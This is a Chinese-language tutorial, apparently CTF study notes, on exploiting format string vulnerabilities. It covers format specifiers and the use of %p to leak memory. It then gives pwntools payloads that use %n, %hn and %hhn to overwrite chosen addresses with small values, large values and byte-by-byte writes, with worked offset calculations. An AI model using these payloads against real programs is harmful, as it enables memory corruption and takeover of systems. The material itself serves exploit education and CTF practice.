格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。
格式化字符串
基本格式：%[parameter][flags][field width][.precision][length]type
参数（parameter）
n$：获取格式化字符串中的指定参数
长度（length）
hh：输出一个字节h：输出一个双字节
类型（type）
d/i：有符号整数u：无符号整数x/X：16进制无符号整数o：8进制无符号整数n：不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
利用
泄露内存
%X$p：泄露栈上第X个位置的值（X为任意正整数）
addr%X$p：泄露任意地址的数据（addr为要泄露的地址）
覆盖内存
%Yc%X$n：将Y写入栈上第X个位置指针指向的位置（Y为要写入的数据，X为任意正整数）
addr%(Y-4)c%X$n：向任意地址写（addr为要写入的地址）
栈地址覆盖
例：把c的值从789改写为16。
c_addr 占4个字节，所以额外加上12个字节，最终向 c_addr 指向的空间赋值16：
payload = p32(c_addr) + b'%12c' + b'%6$n'
小数覆盖
例：把a的值改写为2。
如果还用之前的方式，写入的地址最少要占4位，因此最小只能赋值4，尝试把地址放到后面的位置。
赋值2，要写作aa%X$n, 把2赋值给第X个位置指针指向的位置。这个字符串长度为6，不是4的倍数，所以还要补全两个字符，再加上a的地址。这样最终a是落在了栈上第8个位置：
payload = b'aa%8$nbb' + p32(a_addr)
大数覆盖
例：把b的值改写为0x12345678。
需要赋值一个很大的数，这时候直接向栈中写入这么多的数据肯定不太方便。利用 hh（单字节） 和 h（双字节） 参数逐字节写入。
以单字节的方式写入，若b的地址是 0x0804c028，逐字节写入后的数据分配应该如下所示：
1 | 0x0804c028 \x78 |
因此随着构造payload，字符串长度是逐渐增长的，因此要按照从小到大的顺序填充字节，这里要从高位向地位填充：
payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn' （当前总长度=24，字符长度0x12）
下面填充次高位。填充后面的时候要注意，因为这是一次发送的payload，因此填充后面的时候，前面的字符串长度也要算上，前面的字符串长度已经有24个字节，因此次高位的地址会写入第25-28个字节，这样对应的就是栈中的第12个位置（24/4 + 6）。
构造次高位的字符串时要注意不能包括 %6$hhn 的长度，因此接下来还要填充的字符串个数是 次高字节需要的总字节数 - 填充上一字节已经构造的字节数 - 次高字节地址位数。次高地址这里后续还有payload要填充，由于要地址对齐，因此添加三个b，使得总长度为4的倍数：
payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb' （当前总长度=68）
接下来填充次低位。构造方法和上面类似，不过添加字符的时候要记得把 bbb 这三个对齐字节的长度减去：
payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb' （当前总长度=108）
最后填充低位：
payload += p32(0x0804c028) + b'a'*(0x78- 0x56 - 4 - 2) + b'%33$hhn'
pwntools工具
1 | fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') |
